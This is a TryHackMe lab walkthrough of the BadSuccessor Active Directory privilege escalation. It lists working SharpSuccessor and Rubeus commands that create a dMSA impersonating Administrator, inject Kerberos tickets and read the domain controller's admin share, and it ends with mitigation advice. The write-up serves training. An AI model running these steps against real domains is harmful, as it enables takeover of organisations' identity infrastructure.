Active-Directory-BadSuccessor

Overview

In this room, we explore the BadSuccessor privilege escalation technique, a vulnerability that abuses delegated Managed Service Accounts (dMSAs) in Active Directory. The attack allows a user with sufficient control over a dMSA object to impersonate another account and potentially achieve Domain Administrator privileges.

Room Information

Room: https://tryhackme.com/room/adbadsuccessor

Difficulty: Medium

Date: 05/06/2026

Version: 1.0

Objective: Demonstrate how delegated Managed Service Accounts can be abused to escalate privileges and compromise an Active Directory environment.

Role: Terry Byte (tbyte)

Goal: Assess the security of a newly deployed Active Directory environment and determine whether it is vulnerable to the BadSuccessor attack.

Attack Path

The attack consists of two primary phases:

1. Reconnaissance.
2. Privilege Escalation via dMSA Abuse

Reconnaissance

Step 1 - Connect to the Target Machine

• Connect to the provided Windows workstation using RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• After authentication, open PowerShell.

Step 2 - Navigate to the Working Directory

• Move to the Proof-of-Concept directory:

  root@kitploit:~

  cd C:\PoC
  

• Verify the contents: dir

Step 3 - Obtain the Enumeration Script

• Download the PowerShell script from Akamai's BadSuccessor repository:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Create or edit the script using Notepad:

notepad Get-BadSuccessorOUPermissions.ps1

• Paste the contents and save the file.

Step 4 - Enumerate OU Permissions

• Execute the script:

 .\Get-BadSuccessorOUPermissions.ps1

• The output reveals accounts with permissions that can potentially abuse delegated Managed Service Accounts.
• Identify the third account returned by the script.
• This account will be used during the privilege escalation phase.

Exploitation Using Windows

Step 1 - Create a Malicious dMSA

• Use SharpSuccessor to create a delegated Managed Service Account that impersonates the Administrator account:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

What Happens?

• The tool creates a new dMSA object and configures it to succeed the Administrator account.
• This establishes the foundation for privilege escalation.

Step 2 - Request a Kerberos TGT

• Use Rubeus to obtain a delegated Ticket Granting Ticket (TGT):

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• The command returns a Base64-encoded Kerberos ticket.

• Copy the generated ticket.

Step 3 - Impersonate the dMSA Account

• Use the delegated TGT to request a ticket as the newly created dMSA account:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Result:

A new Kerberos ticket is injected into memory for the dMSA account.

Step 4 - Request a Service Ticket as Administrator

• Leverage the dMSA ticket to obtain access to services running under Administrator context:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Result:

• A CIFS service ticket is loaded into memory.
• This ticket provides access to resources that would normally require Domain Administrator privileges.

Step 5 - Access the Administrator Desktop

• Verify elevated access by browsing the Administrator profile on the Domain Controller:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• Successful directory listing confirms administrative-level access.

Step 6 - Capture the Flag

• Read the flag stored on the Administrator desktop:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Flag obtained successfully.

Why BadSuccessor Matters

BadSuccessor demonstrates how delegated Managed Service Accounts can introduce privilege escalation paths in Active Directory environments. Active Directory serves as the identity backbone for many organizations, vulnerabilities affecting Kerberos and account delegation can have severe consequences.

An attacker with sufficient permissions over a dMSA object may:

• Impersonate privileged users
• Obtain elevated Kerberos tickets
• Access sensitive resources
• Escalate privileges to Domain Administrator
• Potentially compromise the entire Active Directory forest

Mitigation Recommendations

To mitigate BadSuccessor (CVE-2025-53779), organizations should promptly apply Microsoft's security updates, restrict and review dMSA permissions, monitor suspicious Kerberos activity, audit delegation relationships, and enforce the principle of least privilege. Regular reviews of Active Directory delegation settings can help identify and reduce potential privilege escalation paths.

Key Takeaways

This room provided valuable hands-on experience with:

• Active Directory privilege escalation
• Delegated Managed Service Accounts (dMSAs)
• Kerberos authentication abuse
• Rubeus ticket operations
• SharpSuccessor exploitation
• Post-exploitation validation techniques